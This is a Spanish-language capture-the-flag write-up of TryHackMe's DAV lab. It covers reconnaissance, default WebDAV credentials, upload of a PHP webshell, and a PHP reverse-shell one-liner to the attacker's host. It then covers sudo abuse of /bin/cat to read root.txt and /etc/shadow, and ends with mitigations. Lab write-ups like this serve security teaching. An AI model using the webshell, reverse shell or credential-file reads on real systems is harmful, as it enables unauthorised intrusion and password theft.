DAV - TryHackMe
xhetic
@xhetic
📚 Esta publicación pertenece a la colección:
DAV - TryHackMe Writeup
Bienvenido a mi writeup de la máquina DAV de TryHackMe. En esta máquina explotaremos un servicio WebDAV vulnerable para conseguir acceso inicial y, acto seguido, obtendremos control del sistema de forma no privilegiada. Intentaremos escalar privilegios por una pequeña desconfiguración.
Room: DAV
Dificultad: Easy
Objetivo: 2 flags (user.txt y root.txt)
Tiempo estimado: 45 minutos
En esta máquina estaremos explotando un servicio WebDav, si quieres saber que es WebDav, puedes hacerlo en WebDav - Shards
🎯 Información del Objetivo
IP Target: 10.10.47.60
🔍 Fase 1: Reconocimiento Inicial
Verificación de Conectividad
Primero verificamo que tengo conectividad con el objetivo. Hago un simple ping.
ping 10.10.47.60 -c 4
💡 Observación importante: El TTL (Time To Live) es 63. Esto es un indicador de que probablemente estemos ante una máquina Linux (los sistemas Linux suelen tener TTL 64, pero al pasar por un router se reduce a 63). Los sistemas Windows típicamente tienen TTL 128.
🔎 Fase 2: Escaneo de Puertos
Ahora que sabemos que el objetivo está activo, es momento de descubrir qué servicios están expuestos.
nmap 10.10.47.60 -sV -Pn -sC --top-ports 100
Resultado: El puerto 80 (HTTP) está abierto y corriendo Apache httpd 2.4.18.
Al acceder a http://10.10.47.60, observo la página por defecto de Apache2. Esto me indica que el servidor está configurado pero probablemente no tiene un sitio web personalizado todavía.
📂 Fase 3: Enumeración Web
Cuando veo un servidor web, mi siguiente paso es enumerar directorios y archivos. Para esto, utilizo scripts de nmap especializados en HTTP.
nmap 10.10.47.60 -Pn -vvv -p80 --script=http-enum
¡Interesante! El script ha encontrado un directorio llamado /webdav/.
¿Qué es WebDAV?
WebDAV (Web Distributed Authoring and Versioning) es una extensión del protocolo HTTP que permite a los usuarios editar y gestionar archivos en servidores web remotos. Es como tener un "disco compartido" accesible vía web.
El problema es que WebDAV mal configurado puede ser una puerta de entrada para atacantes.
🔐 Fase 4: Búsqueda de Credenciales
Al acceder a http://10.10.47.60/webdav/, me encuentro con una autenticación HTTP Basic.
Lo primero que pienso es en lanzar un ataque de fuerza bruta, pero también considero que quizá la página muestre información relevante o que el servicio no esté correctamente configurado. Investigando en la web no obtengo ningún dato útil, así que decido buscar credenciales de acceso comunes que podrían emplearse en una instalación de WebDAV. ¿Por qué? Porque muchos administradores instalan servicios y olvidan cambiar las credenciales predeterminadas.
Investigación de Credenciales por Defecto
Consulto con herramientas de IA y documentación para encontrar las credenciales típicas de Apache/WebDAV:
Credenciales comunes:
admin:adminadmin:passwordwampp:xampp← Esta es específica de XAMPProot:roottest:test
¡Pruebo wampp:xampp y... ¡BINGO! ¡Estoy dentro!
🎯 Fase 5: Explotación - Subida de WebShell
Ahora que tengo acceso a WebDAV, necesito confirmar:
- ¿Qué tipo de archivos puedo subir?
- ¿Puedo ejecutar código?
Confirmación del Sistema Operativo
Aunque el TTL me sugiere Linux, quiero confirmarlo:
nmap 10.10.47.60 -Pn -O
Confirmado: Es un sistema Linux.
Prueba de Capacidades con DAVTest
Utilizo davtest para verificar qué tipos de archivos puedo subir y ejecutar:
davtest -url http://10.10.47.60/webdav/ -auth wampp:xampp
Resultados importantes:
- ✅ Puedo subir archivos .php
- ✅ Los archivos PHP son ejecutables
- ✅ Puedo subir archivos .txt, .html, etc.
Esto es perfecto. Significa que puedo subir una webshell PHP y ejecutar comandos en el servidor.
Creación de la WebShell
Utilizo una webshell simple y efectiva. Creo un archivo llamado webshell.php:
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>
</pre>
</body>
</html>Fuente: Simple PHP WebShell by joswr1ght
Subida con Cadaver
Utilizo cadaver, un cliente WebDAV por línea de comandos:
cadaver http://10.10.47.60/webdav/Una vez autenticado con wampp:xampp, subo el archivo:
dav:/webdav/> put webshell.php

¡Perfecto! Ahora accedo a http://10.10.47.60/webdav/webshell.php y tengo una interfaz donde puedo ejecutar comandos:

🚩 Fase 6: Captura de la Flag de Usuario
Con la webshell activa, empiezo a explorar el sistema:
whoamiResultado: www-data
ls /home/Resultado: Encuentro un usuario llamado merlin
ls /home/merlin/Resultado: ¡Hay un archivo user.txt!
cat /home/merlin/user.txt
🎉 Primera flag capturada!
🔄 Fase 7: Reverse Shell para Mayor Comodidad
Trabajar con una webshell puede ser tedioso. Para tener una shell interactiva completa, voy a establecer una reverse shell.
Configuración del Listener
En mi máquina atacante, abro un listener con netcat:
nc -lvnp 1234Ejecución de la Reverse Shell
Desde la webshell, ejecuto el siguiente comando PHP:
php -r '$sock=fsockopen("10.8.63.221",1234);exec("sh <&3 >&3 2>&3");'Ahora tengo una shell completa como www-data.
Mejorando la Shell
Para hacer la shell más usable, ejecuto:
python3 -c 'import pty;pty.spawn("/bin/bash")'Esto me da una pseudo-terminal más interactiva.
🔓 Fase 8: Escalada de Privilegios
Ahora que tengo acceso como www-data, necesito escalar privilegios a root para obtener la flag final.
Enumeración de Privilegios Sudo
Lo primero que verifico es si el usuario actual tiene permisos sudo:
sudo -l
Oh yeah ddy 🎯
El output muestra:
User www-data may run the following commands on ubuntu:
(ALL) NOPASSWD: /bin/cat
Esto significa que puedo ejecutar el comando /bin/cat como root sin necesidad de contraseña.
¿Por qué es esto peligroso?
El comando cat se utiliza para leer archivos. Si puedo ejecutarlo como root, puedo leer cualquier archivo del sistema, incluyendo:
/etc/shadow(hashes de contraseñas)/root/.ssh/id_rsa(claves SSH privadas)/root/root.txt(nuestra flag objetivo)
Explotación
Primero, confirmo dónde está la flag de root:
ls /root/Veo que existe /root/root.txt. Ahora simplemente leo el archivo usando sudo:
sudo /bin/cat /root/root.txt🎉 ¡Flag de root capturada! Máquina comprometida completamente!
Bonus: Lectura de /etc/shadow
Ya que tengo estos privilegios, también puedo leer el archivo de contraseñas:
sudo /bin/cat /etc/shadowCon estos hashes, podría intentar crackearlos offline usando herramientas como John the Ripper o Hashcat, pero para esta máquina ya hemos cumplido el objetivo.
📊 Resumen y Lecciones Aprendidas
Vectores de Ataque Utilizados
- ✅ Credenciales por defecto -
wampp:xamppde XAMPP - ✅ WebDAV mal configurado - Permitía subida de archivos PHP
- ✅ WebShell PHP - Ejecución remota de comandos
- ✅ Reverse Shell - Acceso interactivo al sistema
- ✅ Sudo misconfiguration -
/bin/catcon NOPASSWD
Vulnerabilidades Identificadas
| Vulnerabilidad | Severidad | Impacto |
|---|---|---|
| Credenciales por defecto | CRÍTICA | Acceso inicial al sistema |
| WebDAV sin restricciones | ALTA | Subida de archivos maliciosos |
| Ejecución de PHP | ALTA | RCE (Remote Code Execution) |
| Sudo misconfiguration | CRÍTICA | Escalada de privilegios |
Recomendaciones de Mitigación
Para los administradores de sistemas:
- 🔐 Cambiar credenciales por defecto inmediatamente después de la instalación
- 🚫 Deshabilitar WebDAV si no es estrictamente necesario
- 📝 Implementar whitelist de extensiones permitidas en uploads
- 🔒 Configurar sudo correctamente - nunca dar acceso NOPASSWD a comandos que pueden leer archivos
- 🛡️ Principio de mínimo privilegio -
www-datano debería tener privilegios sudo - 📊 Monitoreo y logging - Detectar actividades sospechosas
- 🔄 Actualizaciones regulares - Mantener el software actualizado
Herramientas Utilizadas
nmap- Escaneo de puertos y enumeracióndavtest- Testing de capacidades WebDAVcadaver- Cliente WebDAVnetcat- Listener para reverse shellPHP- Lenguaje para webshell y reverse shellsudo- Escalada de privilegios
📚 Referencias
🔗 Si quieres seguir aprendiendo y mejorando tus habilidades explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.
Happy Hacking! 🎩🔐
Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.